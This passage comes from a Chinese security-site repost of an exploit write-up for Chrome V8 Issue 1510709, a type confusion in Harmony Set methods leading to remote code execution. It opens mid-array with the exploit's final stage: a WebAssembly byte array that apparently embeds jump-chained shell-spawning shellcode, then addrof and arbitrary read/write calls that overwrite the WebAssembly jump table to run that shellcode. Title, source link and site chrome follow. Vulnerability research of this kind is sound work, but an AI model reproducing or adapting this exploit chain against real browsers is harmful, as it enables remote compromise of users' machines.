58, 48, 0, 0, 83, 235, 12, 68, 187, 76, 65, 89, 61, 144, 235, 12, 68, 144, 144, 72, 193, 227, 32, 235, 12, 68, 185, 68, 73, 83, 80, 144, 235, 12, 68, 144, 144, 72, 1, 203, 83, 235, 12, 68, 72, 137, 227, 144, 144, 144, 235, 12, 68, 106, 0, 83, 72, 137, 226, 235, 12, 68, 72, 49, 246, 72, 49, 192, 235, 12, 68, 176, 59, 15, 5, 144, 144, 0, 0, 15, 11]);let wasmModule = new WebAssembly.Module(wasmCode);let wasmInstance = new WebAssembly.Instance(wasmModule);let main = wasmInstance.exports.main;let wasmInstance_addr = addrof(wasmInstance);let jump_table_start = ftoi(aar(wasmInstance_addr + 0x47n));aaw(wasmInstance_addr + 0x47n, jump_table_start + 0x81an); // overwrite instruction pointermain(); // execute shellcode

Harmony Set 方法中的类型混淆,导致 RCE

Issue 1510709 (Type confusion in Harmony Set methods, leads to RCE)https://h0meb0dy.me/entry/Issue-1510709-Type-confusion-in-Harmony-Set-methods-leads-to-RCE#Environment%20Setting-1

原文始发于微信公众号(Ots安全):Harmony Set 方法中的类型混淆,导致 RCE

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日01:13:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Harmony Set 方法中的类型混淆,导致 RCEhttps://cn-sec.com/archives/2818526.html

发表评论

匿名网友 填写信息